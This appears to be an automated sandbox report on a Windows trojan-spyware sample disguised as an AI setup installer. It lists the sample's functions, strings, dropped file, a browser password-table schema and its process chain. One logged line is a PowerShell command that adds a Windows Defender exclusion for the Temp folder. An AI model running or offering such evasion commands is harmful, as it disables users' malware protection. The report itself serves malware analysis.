Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F40BE0	0_2_09F40BE0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F21A30	0_2_09F21A30
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F5DD30	0_2_09F5DD30
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F3BCE0	0_2_09F3BCE0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F41C30	0_2_09F41C30
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F40100	0_2_09F40100
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F4B0E0	0_2_09F4B0E0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F0B240	0_2_09F0B240
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F627F0	0_2_09F627F0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F0B710	0_2_09F0B710
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_0A3E379B	0_2_0A3E379B
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_0A3E3D5D	0_2_0A3E3D5D
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030113E0	7_2_030113E0
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03010AE0	7_2_03010AE0
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_0300F000	7_2_0300F000
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_0301D040	7_2_0301D040
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03007790	7_2_03007790

Source: mDHwap5GlV.exe

Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilename vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2619976607.000000000E721000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Registry.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2594641559.000000000CDAA000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.Uri.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Quic.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2594220011.000000000CBE1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.CodeDom.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Management.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Configuration.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Console.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2587143621.000000000A740000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenamePro_AI_setup_v_1.03.dllH vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2587143621.000000000A740000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.CSharp.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2592357978.000000000C7E0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Tracing.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Thread.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.ThreadPool.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2582770722.0000000009AB0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2606037613.000000000D5B1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2620268309.000000000E7F0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Specialized.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000000.1668262979.0000000000FF3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemscordaccore.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000000.1668262979.0000000000FF3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePro_AI_setup_v_1.03.dllH vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Data.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Contracts.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Debug.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2594814056.000000000CDF1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.Uri.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.ServicePoint.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Sockets.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Linq.Expressions.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Primitives.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.IO.UnmanagedMemoryStream.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.IO.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Linq.Expressions.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2605944100.000000000D560000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.AppContext.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2605944100.000000000D560000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Buffers.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2605944100.000000000D560000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2620375104.000000000E811000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Specialized.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2584388543.0000000009CB6000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenamePro_AI_setup_v_1.03.dllH vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Quic.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2608346084.000000000DE60000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Encoding.Extensions.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Security.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Memory.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2609058208.000000000DEE0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Thread.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Linq.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Linq.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NameResolution.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Http.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Primitives.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.Primitives.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.X509Certificates.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.InteropServices.RuntimeInformation.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.InteropServices.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Console.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2587474664.000000000A841000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.CSharp.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Security.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Http.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Memory.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2616718096.000000000E6A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2616718096.000000000E6A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Primitives.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2616718096.000000000E6A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Registry.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.CoreLib.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Sockets.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Thread.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.ThreadPool.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Timer.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2595974127.000000000D041000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.InteropServices.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.CoreLib.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2596096978.000000000D060000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2596096978.000000000D060000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Primitives.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2611810679.000000000E300000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Overlapped.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NameResolution.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenamemscordaccore.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenamePro_AI_setup_v_1.03.dllH vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameMicrosoft.CSharp.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.Core.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameMicrosoft.Win32.Primitives.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameMicrosoft.Win32.Registry.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameSystem.AppContext.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameSystem.Buffers.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs mDHwap5GlV.exe
Source: mDHwap5GlV.exe	Binary or memory string: OriginalFilenameSystem.Collections.Immutable.dll@ vs mDHwap5GlV.exe

Source: mDHwap5GlV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: powershell.exe, 00000004.00000002.1923580588.00000000072C5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: .sLn[

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/4@3/4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2932:120:WilError_03

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

File created: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Jump to behavior

Source: mDHwap5GlV.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pipanel.exe, 00000008.00000003.3151850567.0000000005374000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177263165.0000000005341000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: mDHwap5GlV.exe	String found in binary or memory: requests-started-rate
Source: mDHwap5GlV.exe	String found in binary or memory: requests-started
Source: mDHwap5GlV.exe	String found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>
Source: mDHwap5GlV.exe	String found in binary or memory: Morph - Structs/AddrExp
Source: mDHwap5GlV.exe	String found in binary or memory: prejitNYI: patchpoint info generationlooptail.call and not BBINSTRImportationPre-importExpand patchpointsIndirect call transformProfile instrumentation prepPost-importProfile incorporationProfile instrumentationMorph - InliningMorph - InitAllocate ObjectsMorph - Add internal blocksRemove empty finallyRemove empty tryClone finallyMerge callfinally chainsCompute predsUpdate finally target flagsMorph - Structs/AddrExpUpdate flow graph early passMorph - ByRefsForward SubstitutionMorph - GlobalMorph - Promote StructsGS CookieMorph - FinishMerge throw blocksCompute edge weights (1, false)Optimize control flowInvert loopsCompute blocks reachabilityOptimize layoutRedundant zero InitsSet block weightsClone loopsFind loopsClear loop infoUnroll loopsHoist loop codeMorph array opsOpt add copiesMark local varsFind oper orderOptimize boolsBuild SSA representationSet block orderSSA: Doms1SSA: topological sortSSA: DFSSA: livenessSSA: renameSSA: insert phisDo value numberingEarly Value PropagationOptimize Valnum CSEsOptimize index checksRedundant branch optsVN based copy propUpdate flow graph opt passAssertion propInsert GC PollsCompute edge weights (2, false)Rationalize IRDetermine first cold blockLocal var livenessDo 'simple' loweringPer block local var livenessLocal var liveness initLowering decompositionGlobal local var livenessCalculate stack level slotsLowering nodeinfoLSRA build intervalsLinear scan register allocLSRA resolveLSRA allocateGenerate codePlace 'align' instructionsEmit GC+EH tablesEmit codePost-EmitProcessor does not have a high-frequency timer.
Source: mDHwap5GlV.exe	String found in binary or memory: kernelbase.dllVirtualAlloc2MapViewOfFile3bad array new lengthstring too longApplication root path is empty. This shouldn't happenUsing internal fxrUsing internal hostpolicyPath containing probing policy and assemblies to probe for.--depsfile--additionalprobingpath<path>Path to <application>.runtimeconfig.json file.--fx-versionPath to <application>.deps.json file.--runtimeconfig--roll-forward<value><version>Version of the installed Shared Framework to use to run the application.Path to additional deps.json file.--roll-forward-on-no-candidate-fxRoll forward to framework version (LatestPatch, Minor, LatestMinor, Major, LatestMajor, Disable)--additional-depssdkParsed known arg %s = %s<n><obsolete>Using the provided arguments to determine the application to execute.Application '%s' is not a managed executable.Failed to parse supported options or their values: %s %-*s %sThe application to execute does not exist: '%s'--- Executing in split/FX mode...Application '%s' does not exist.dotnet exec needs a managed .dll or .exe extension. The application specified was '%s'execstatic--- Executing in a native executable mode...--- Executing in muxer mode... No SDKs were found.
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/download --list-runtimes Display the installed runtimes --list-sdks Display the installed SDKs The path to an application .dll file to execute.host-options: --info Display .NET information.vector too longCommon Options: -h\|--help Displays this help.invalid hash bucket countinvalid string positionunordered_map/set too long--- Invoked %s [commit hash: %s]hostfxr_main_bundle_startupinfohostfxr_main_startupinfoA fatal error occurred while processing application bundleInvalid startup info: host_path, dotnet_root, and app_path should not be null.get-native-search-directories.json.dev.jsonHosting components are already initialized. Re-initialization to execute an app is not allowed.\|arch\|/\|tfm\|Ignoring host interpreted additional probing path %s as it does not exist.Runtime config is cfg=%s dev=%s\|arch\|\\|tfm\|App runtimeconfig.json from [%s]Specified runtimeconfig.json from [%s]Ignoring additional probing path %s as it does not exist.The specified runtimeconfig.json [%s] does not existDetecting mode... CoreCLR present in dotnet root [%s] and checking if [%s] file present=[%d].runtimeconfig.jsonInvalid runtimeconfig.json [%s] [%s].deps.jsonIt's invalid to use both '%s' and '%s' command line options.DOTNET_ADDITIONAL_DEPSThe specified deps.json [%s] does not existInvalid value for command line argument '%s'self-containedExecuting as a %s app as per config file [%s]HOSTFXR_PATHframework-dependent--list-sdks--list-runtimesUsing dotnet root path [%s]-?/?-h--help dotnet.dll--infoThe command could not be loaded, possibly because:
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/download --list-runtimes Display the installed runtimes --list-sdks Display the installed SDKs The path to an application .dll file to execute.host-options: --info Display .NET information.vector too longCommon Options: -h\|--help Displays this help.invalid hash bucket countinvalid string positionunordered_map/set too long--- Invoked %s [commit hash: %s]hostfxr_main_bundle_startupinfohostfxr_main_startupinfoA fatal error occurred while processing application bundleInvalid startup info: host_path, dotnet_root, and app_path should not be null.get-native-search-directories.json.dev.jsonHosting components are already initialized. Re-initialization to execute an app is not allowed.\|arch\|/\|tfm\|Ignoring host interpreted additional probing path %s as it does not exist.Runtime config is cfg=%s dev=%s\|arch\|\\|tfm\|App runtimeconfig.json from [%s]Specified runtimeconfig.json from [%s]Ignoring additional probing path %s as it does not exist.The specified runtimeconfig.json [%s] does not existDetecting mode... CoreCLR present in dotnet root [%s] and checking if [%s] file present=[%d].runtimeconfig.jsonInvalid runtimeconfig.json [%s] [%s].deps.jsonIt's invalid to use both '%s' and '%s' command line options.DOTNET_ADDITIONAL_DEPSThe specified deps.json [%s] does not existInvalid value for command line argument '%s'self-containedExecuting as a %s app as per config file [%s]HOSTFXR_PATHframework-dependent--list-sdks--list-runtimesUsing dotnet root path [%s]-?/?-h--help dotnet.dll--infoThe command could not be loaded, possibly because:
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: mDHwap5GlV.exe	String found in binary or memory: /notify-launch

Source: unknown	Process created: C:\Users\user\Desktop\mDHwap5GlV.exe "C:\Users\user\Desktop\mDHwap5GlV.exe"
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Process created: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\"	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Process created: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: msquic.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: wshunix.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: winrnr.dll	Jump to behavior
